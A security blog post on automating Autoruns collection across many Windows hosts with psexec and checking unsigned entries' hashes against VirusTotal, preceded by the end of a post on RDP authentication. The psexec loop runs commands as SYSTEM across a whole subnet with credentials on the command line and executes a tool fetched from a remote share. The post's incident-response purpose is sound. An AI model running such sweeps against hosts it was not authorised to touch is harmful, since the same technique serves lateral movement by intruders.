And now we have a GPO that can be linked to any Domain in the forest or Organization Unit. Once applied when a connection is made we can see the security in use by clicking on the lock on the top of a Remote Desktop Session in Windows and it will tell us how we where authenticated:
On those host that do not have RDP enabled you will see that the only option available is to use NLA
As always I hope you find this blog post informative and useful.





READ MORE

Finding Evil: Automating Autoruns Analysis

You can buy appliances to put in your network in an effort to find evil on systems in your enterpise. I know a wicked smart individual who develops one such system and I strongly recommend you check them out, especially if you can afford them. 

But let's say you didn't budget for one of these systems this year, there's still something you can cobble together using Autoruns , Psexec , Cygwin  and VirusTotal . It may not be as effective or capable as the system that rhymes with "beer," but it's going to be useful. Let's get to it.

I've written about Autoruns before so if you're not familiar with it, check out the link above and this post about how attackers maintain persistence . Psexec is another Microsoft Sysinternals tool that you can use to execute commands on remote hosts. If you're an incident responder or system administrator, having the ability to "psexec" into remote systems is a must.

Cygwin is "a collection of tools which provide a Linux look and feel environment for Windows." If you follow the outstanding, Command Line Kung Fu Blog , you know well that what's relatively easy at the command line in Linux can be far more difficult to achieve using built in tools in Windows. Installing Cygwin will facilitate our little project here. Alternatively, if you have a Linux box, you can use it instead.

VirusTotal is a great service where you can upload binaries and have them scanned by 40+ antivirus tools to see if any of them recognize the binary as something malicious. Too many people don't know that in lieu of uploading a binary to VirusTotal, you can take an MD5, SHA1 or SHA256 hash of a binary and search for that value on the site. VirusTotal will return a report showing how many antivirus scanners recognize a file with that same hash as a malicious file. See the footnote at the end of this article for a reason why you may not want to immediately upload suspicious binaries to VirusTotal for analysis.

Conveniently, Autoruns can be configured to generate MD5, SHA1 and SHA256 hashes. Combine that chocolate, with the flavor that is VirusTotal and you've got yourself a nice bit of kit for finding evil. Where do Psexec and Cygwin fit into this? With Psexec and a for loop, we can collect Autoruns data from many hosts in a few minutes. Mind the wraps.

for /L %i in (1, 1, 254) do @psexec -s -n 4 -d \\n.n.n.%i cmd /c "net use o: 
\\server\share PASSWORD /user:doman\username && 
\\live.sysinternals.com\tools\autorunsc -a -v -f -c '*' > 
o:n.n.n.%i.csv && net use o: /delete"


Let's break this down. First the for loop is going to count from 1 to 254 and assign that value to the variable %i. Within the loop we run psexec with -s -n 4 and -d options, these will run commands on the remote system as SYSTEM, timeout after 4 seconds if it can't connect and lastly, -d runs the commands non-interactively, think of it as -d for "dropping" the command on the system and moving on.


Next is the IP address of the remote host -- \\n.n.n.%i. You can run this loop inside another loop to cover more than one octet at a time (i.e. \\n.n.%j.%i and so on). Next comes the command we want to run on the remote host, in this case it is a compound command (i.e. a command shell followed by another command (i.e. cmd /c...)). In this case, the compound command that follows first maps a drive to some share somewhere in your environment, this may require that you supply credentials, depending on how your environment is configured.


Having mapped the drive, we call Autorunsc (note the trailing c there indicates the command line version). The flags and arguments provided here, -a -v -f -c '*', have the following effects respectively: collect all Autoruns, verify certificates for signed code, create file hashes, write the output as comma separated values and lastly gather Autoruns data for all profiles on the system. We redirect the output to the drive that we mapped, naming the file for the IP address of the system that it came from and lastly, we delete the drive mapping.

Depending on how you do this, you'll have a single system's Autoruns data or the data from many systems. Now we want to analyze all of this data to see if we can find any malicious binaries in the mix. Since we told Autorunsc to verify signed code, we can make a possibly horrible decision and direct our attention to only the unsigned code. The assumption here is that only legit code will be signed and that malicious code will be unsigned. There have been examples of malicious code that was signed and I suspect the future will bring more and more of the same. But for demonstration purposes, I'm only going to analyze unsigned code.

If you have a single Autoruns output file, rename it to aruns.csv and drop it into the same directory as the following script, which you can download from my githup report  [RECOMMENDED]. You'll need Cygwin or a system with bash, grep, awk and wget for this:
#!/bin/bash
# A working proof of concept, lacking many features

# Remove old VirusTotal results
files=$(ls *.html 2>/dev/null | wc -l)
if [ "$files" != "0" ]; then
    ls *.html | xargs rm -rf 
fi

# Gather all hashes for unsigned code from autoruns csv output file named aruns.csv
grep -i "(Not Verified)" aruns.csv | awk -F, '{print $(NF-2)}' | sort | uniq > aruns_hashes

# Reduce the data set to hashes that aren't in our good list
if [ -e hashes_cleared ]; then
    grep -vif hashes_cleared aruns_hashes > hashes2check
else
    mv aruns_hashes hashes2check
fi

# Should create a list of bad hashes and check against it too
if [ -e hashes_evil ]; then
    grep -if hashes_evil hashes2check > aruns_malware_hashes
fi

# Remove malware hashes from hashes2check
if [ -e aruns_malware_hashes ]; then
    grep -vif aruns_malware_hashes hashes2check > vtsubmissions
else
    mv hashes2check vtsubmissions
fi

# Search VirusTotal for reports on remaining hashes
echo "[+] $(wc -l vtsubmissions) hashes to check with Virus Total"
sleep 2
for i in $(cat vtsubmissions); do wget --header= -O $i.html --no-check-certificate \
https://www.virustotal.com/latest-scan/$i; sleep 15; done

# Check results for malware
grep -l "[1-9][0-9]* / " *.html | awk -F. '{print $1}' | tee -a aruns_malware_hashes \
>> hashes_evil

# Pull out malware entries from aruns.csv
grep -if aruns_malware_hashes aruns.csv > aruns_malware

# Check results for non-malicious files
grep -l "0 / " *.html | awk -F. '{print $1}' >> hashes_cleared

# Check for results tnat are unknown to VT
grep -li "not found" *.html | awk -F. '{print $1}' > unknowns

# Pull unkown entries from aruns.csv
grep -if unknowns aruns.csv > aruns_unknown

# Report results
let j=$(wc -l aruns_malware)
echo "[+] VirusTotal shows $j Autoruns entries may be malicious."
echo "[+] Check the aruns_malware file for details."
let j=$(wc -l aruns_unknown)
echo "[+] VirusTotal has never seen $j Autoruns entries."
echo "[+] Check the aruns_unknown file for details."
echo

If you have a bunch of Autoruns output from multiple hosts, you can combine them with a little command line foo as follows:
cat n.n.n.* | sort | uniq > aruns.csv 
You'll need to edit this aruns.csv file and remove the header line created by Autorunsc, search for MD5 to find the header line. Now place that file in the same directory as the script above and you'll be all set.

What does the script above do? It pulls out all of the MD5 hashes for unsigned Autoruns, compares them against a list of known good hashes from previous runs, if this is your first run through with the script, the file won't exist and this will be skipped. Next it compares those hashes against hashes of known malicious files, again, if this is your first run, there will be nothing to compare against and this step will be skipped. Known malicious hashes will removed from the list and saved for later notification. Whatever hashes are left will be submitted to VirusTotal as search strings at the public API rate of four hashes per minute, the results from VirusTotal will be written to files named for the hashes with .html extensions added.

Once all the hashes have been submitted to VirusTotal, the script will search through all the results looking for any that were reported as malicious by the antivirus products. Those hashes will be written to the same file as any that had previously been marked as malicious.

Then the script looks through the html files for results where none of the antivirus products found the hash to match a malicious file, these hashes are saved into the hashes_cleared file and they will not be submitted to VirusTotal on future runs.

The script then searches through the results from VirusTotal for any reports that indicate no file with the provided hash has been submitted for analysis. These hashes are marked as unknowns and may warrant further analysis, possibly even submitting the files to VirusTotal (see the footnote below).

Finally, the script reports to the user how many of the hashes were reported to match malicious files and how many were unknown. It pulls these Autoruns entries from the aruns.csv file so you can have the reduced data set for analysis.

Below are some screen shots of the script, which I'm calling "lamelyzer.sh," pronounced lame-ah-lyzer:

Figure 1: lamelyzer's first run as evidenced by the lack of data files.

Figure 2: lamelyzer reports there are 114 hashes to submit to VirusTotal and begins making requests

Figure 3: Directory listing while lamelyzer is in progress. Each html file is a VirusTotal report.

Figure 4: lamelyzer has finished and is showing results.

Figure 5: Post execution directory listing of non-html files.

Figure 5 shows a directory listing after the lamelyzer script has finished. When we started there were two files, the script itself and the aruns.csv file. Now we have several new files, aruns_malware will contain the Autoruns entries that some antivirus product recognized as malicious; aruns_malware_hashes contains the hashes for those files; aruns_unknown contains those Autoruns entries that had MD5 hashes that didn't match any files that VirusTotal had seen before, these may warrant further investigation; hashes_cleared contains a list of hashes that have been scanned by antivirus products at VirusTotal and the results came back clean, in future runs, hashes matching entries in this file will not be submitted to VirusTotal; hashes_evil contains the hashes for files that VirusTotal said were malicious, in future runs hashes matching entries in this file will not be submitted to VirusTotal, they will however be reported to the user; unknowns contains the hashes for files VirusTotal hasn't seen before; and vtsubmissions contains the list of hashes that were submitted to VirusTotal.

On subsequent runs hashes will be appended to hashes_cleared and hashes_evil as appropriate. All the other data files will be overwritten. If you want to see what VirusTotal says about a particular file, open the corresponding html file in a web browser. When you're finished reviewing the results, delete the html files. The next time you need to analyze Autoruns output, copy it into the directory as aruns.csv and run lamelyzer again. Known good and bad files will be filtered out and reported accordingly, all others will be submitted to VirusTotal with results reported accordingly.

Figure 6: A subsequent run of lamelyzer with an aruns.csv with 838 entries, only 77 will be submitted to VirusTotal.



In Figure 6, I've collected another set of Autoruns data from multiple systems, 838 entries in total, but due to the existence of the hashes_evil and hashes_cleared files, only 77 of the 838 entries will have their hashes submitted to VirusTotal.

If you compile many sets of Autoruns data into one aruns.csv file, as I have, you can map a particular entry back to the host(s) that it came from by grepping through the original csv files for the hashes in question. Recall near the beginning of this post, the for loop that wrote Autoruns data to files named for the IP addresses of the hosts they came from, simply grep through those files for the hash in question.

I have to admit that lamelyzer was given its name because it was a hastily assembled proof of concept for a more robust tool I've been working on, but some folks that I'd talked to about it wanted more information on what I was planning to do. Rather than put together slides or whiteboard it, I spent a few minutes putting this script together. It works well enough, that I think many could put it to good use. I will still work on a more robust tool with more options, but wanted to get this out.

If you have any questions or comments, please don't hesitate to let me know.

* There are reasons why you should not immediately upload a potentially malicious file to VirusTotal. If I'm an attacker and I'm targeting your organization, I may create custom malware or repackage some existing malware in such a way that it has a unique set of MD5, SHA1 and SHA256 hashes. Once I've dropped my kit in your network, I can monitor VirusTotal by searching for my hashes. If VirusTotal comes back with a report for any one of those hashes, then I know someone has submitted the binary to VirusTotal (or there's a collision with another file) and therefore, I know that your organization has found my kit and that it's time for me to switch things up.

Credit to: trustedsignal


READ MORE